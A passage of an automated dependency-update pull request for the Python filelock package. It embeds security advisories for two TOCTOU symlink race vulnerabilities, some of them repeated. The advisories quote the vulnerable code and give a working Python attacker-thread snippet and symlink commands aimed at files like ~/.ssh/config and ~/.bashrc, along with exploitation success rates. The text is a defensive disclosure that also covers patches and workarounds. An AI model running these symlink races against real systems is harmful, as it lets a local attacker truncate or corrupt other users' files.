`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### Release Notes

<details>
<summary>tox-dev/py-filelock (filelock)</summary>

###
[`v3.31.1`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.31.1)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.31.0...3.31.1)

<!-- Release notes generated using configuration in .github/release.yaml
at 3.31.1 -->

#### What's Changed

- ♻️ refactor(coverage): key exclusions on probed capability by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#679](https://redirect.github.com/tox-dev/filelock/pull/679)
- scope a lease's claim to the context that acquired it by
[@&#8203;dxbjavid](https://redirect.github.com/dxbjavid) in
[tox-dev/filelock#680](https://redirect.github.com/tox-dev/filelock/pull/680)

**Full Changelog**:
<tox-dev/filelock@3.31.0...3.31.1>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNTEuMCIsInVwZGF0ZWRJblZlciI6IjQzLjI1MS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19-->

Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
renovate-coop-norge Bot added a commit to coopnorge/engineering-docker-images that referenced this pull request Jul 21, 2026
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.31.0`
→ `3.31.1` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/filelock/3.31.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/filelock/3.31.0/3.31.1?slim=true)
|

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

